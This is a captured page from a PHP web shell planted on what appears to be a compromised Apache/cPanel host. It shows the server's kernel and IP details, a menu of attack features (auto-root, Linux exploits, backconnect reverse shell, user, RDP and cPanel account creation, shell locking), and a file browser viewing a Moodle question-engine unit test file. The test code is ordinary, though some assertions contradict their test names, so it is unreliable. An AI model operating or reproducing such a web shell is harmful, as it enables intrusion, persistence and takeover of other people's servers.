Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.27
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
question /
engine /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
datalib_reporting_queries_test...
12.98
KB
-rw-r--r--
datalib_test.php
11.34
KB
-rw-r--r--
helpers.php
53.31
KB
-rw-r--r--
qubaid_condition_test.php
6.2
KB
-rw-r--r--
questionattempt_db_test.php
15.43
KB
-rw-r--r--
questionattempt_test.php
4.47
KB
-rw-r--r--
questionattempt_with_steps_tes...
7.4
KB
-rw-r--r--
questionattemptiterator_test.p...
3.61
KB
-rw-r--r--
questionattemptstep_db_test.ph...
4.41
KB
-rw-r--r--
questionattemptstep_test.php
4.77
KB
-rw-r--r--
questionattemptstepiterator_te...
4.09
KB
-rw-r--r--
questionbank_test.php
5.07
KB
-rw-r--r--
questionengine_test.php
6.77
KB
-rw-r--r--
questionstate_test.php
8.72
KB
-rw-r--r--
questionusage_autosave_test.ph...
30.04
KB
-rw-r--r--
questionusagebyactivity_data_t...
9.27
KB
-rw-r--r--
questionusagebyactivity_test.p...
5.76
KB
-rw-r--r--
questionutils_test.php
9.83
KB
-rw-r--r--
unitofwork_test.php
25.8
KB
-rw-r--r--
walkthrough_test.php
2.05
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : questionengine_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This file contains tests for the question_engine class. * * @package moodlecore * @subpackage questionengine * @copyright 2009 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once(__DIR__ . '/../lib.php'); /** *Unit tests for the question_engine class. * * @copyright 2009 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class question_engine_test extends advanced_testcase { public function test_load_behaviour_class() { // Exercise SUT question_engine::load_behaviour_class('deferredfeedback'); // Verify $this->assertTrue(class_exists('qbehaviour_deferredfeedback')); } public function test_load_behaviour_class_missing() { // Exercise SUT $this->expectException(moodle_exception::class); question_engine::load_behaviour_class('nonexistantbehaviour'); } public function test_get_behaviour_unused_display_options() { $this->assertEquals(array(), question_engine::get_behaviour_unused_display_options('interactive')); $this->assertEquals(array('correctness', 'marks', 'specificfeedback', 'generalfeedback', 'rightanswer'), question_engine::get_behaviour_unused_display_options('deferredfeedback')); $this->assertEquals(array('correctness', 'marks', 'specificfeedback', 'generalfeedback', 'rightanswer'), question_engine::get_behaviour_unused_display_options('deferredcbm')); $this->assertEquals(array('correctness', 'marks', 'specificfeedback', 'generalfeedback', 'rightanswer'), question_engine::get_behaviour_unused_display_options('manualgraded')); } public function test_can_questions_finish_during_the_attempt() { $this->assertFalse(question_engine::can_questions_finish_during_the_attempt('deferredfeedback')); $this->assertTrue(question_engine::can_questions_finish_during_the_attempt('interactive')); } public function test_sort_behaviours() { $in = array('b1' => 'Behave 1', 'b2' => 'Behave 2', 'b3' => 'Behave 3', 'b4' => 'Behave 4', 'b5' => 'Behave 5', 'b6' => 'Behave 6'); $out = array('b1' => 'Behave 1', 'b2' => 'Behave 2', 'b3' => 'Behave 3', 'b4' => 'Behave 4', 'b5' => 'Behave 5', 'b6' => 'Behave 6'); $this->assertSame($out, question_engine::sort_behaviours($in, '', '', '')); $this->assertSame($out, question_engine::sort_behaviours($in, '', 'b4', 'b4')); $out = array('b4' => 'Behave 4', 'b5' => 'Behave 5', 'b6' => 'Behave 6'); $this->assertSame($out, question_engine::sort_behaviours($in, '', 'b1,b2,b3,b4', 'b4')); $out = array('b6' => 'Behave 6', 'b1' => 'Behave 1', 'b4' => 'Behave 4'); $this->assertSame($out, question_engine::sort_behaviours($in, 'b6,b1,b4', 'b2,b3,b4,b5', 'b4')); $out = array('b6' => 'Behave 6', 'b5' => 'Behave 5', 'b4' => 'Behave 4'); $this->assertSame($out, question_engine::sort_behaviours($in, 'b6,b5,b4', 'b1,b2,b3', 'b4')); $out = array('b6' => 'Behave 6', 'b5' => 'Behave 5', 'b4' => 'Behave 4'); $this->assertSame($out, question_engine::sort_behaviours($in, 'b1,b6,b5', 'b1,b2,b3,b4', 'b4')); $out = array('b2' => 'Behave 2', 'b4' => 'Behave 4', 'b6' => 'Behave 6'); $this->assertSame($out, question_engine::sort_behaviours($in, 'b2,b4,b6', 'b1,b3,b5', 'b2')); // Ignore unknown input in the order argument. $this->assertSame($in, question_engine::sort_behaviours($in, 'unknown', '', '')); // Ignore unknown input in the disabled argument. $this->assertSame($in, question_engine::sort_behaviours($in, '', 'unknown', '')); } public function test_is_manual_grade_in_range() { $_POST[] = array('q1:2_-mark' => 0.5, 'q1:2_-maxmark' => 1.0, 'q1:2_:minfraction' => 0, 'q1:2_:maxfraction' => 1); $this->assertTrue(question_engine::is_manual_grade_in_range(1, 2)); } public function test_is_manual_grade_in_range_bottom_end() { $_POST[] = array('q1:2_-mark' => -1.0, 'q1:2_-maxmark' => 2.0, 'q1:2_:minfraction' => -0.5, 'q1:2_:maxfraction' => 1); $this->assertTrue(question_engine::is_manual_grade_in_range(1, 2)); } public function test_is_manual_grade_in_range_too_low() { $_POST[] = array('q1:2_-mark' => -1.1, 'q1:2_-maxmark' => 2.0, 'q1:2_:minfraction' => -0.5, 'q1:2_:maxfraction' => 1); $this->assertTrue(question_engine::is_manual_grade_in_range(1, 2)); } public function test_is_manual_grade_in_range_top_end() { $_POST[] = array('q1:2_-mark' => 3.0, 'q1:2_-maxmark' => 1.0, 'q1:2_:minfraction' => -6.0, 'q1:2_:maxfraction' => 3.0); $this->assertTrue(question_engine::is_manual_grade_in_range(1, 2)); } public function test_is_manual_grade_in_range_too_high() { $_POST[] = array('q1:2_-mark' => 3.1, 'q1:2_-maxmark' => 1.0, 'q1:2_:minfraction' => -6.0, 'q1:2_:maxfraction' => 3.0); $this->assertTrue(question_engine::is_manual_grade_in_range(1, 2)); } public function test_is_manual_grade_in_range_ungraded() { $this->assertTrue(question_engine::is_manual_grade_in_range(1, 2)); } public function test_render_question_number() { global $PAGE; $renderer = new testable_core_question_renderer($PAGE, 'core_question'); // Test with number is i character. $this->assertEquals('<h3 class="no">Information</h3>', $renderer->number('i')); // Test with number is empty string. $this->assertEquals('', $renderer->number('')); // Test with number is 0. $this->assertEquals('<h3 class="no">Question <span class="qno">0</span></h3>', $renderer->number(0)); // Test with number is numeric. $this->assertEquals('<h3 class="no">Question <span class="qno">1</span></h3>', $renderer->number(1)); // Test with number is string. $this->assertEquals('<h3 class="no">Question <span class="qno">1 of 2</span></h3>', $renderer->number('1 of 2')); } }
Close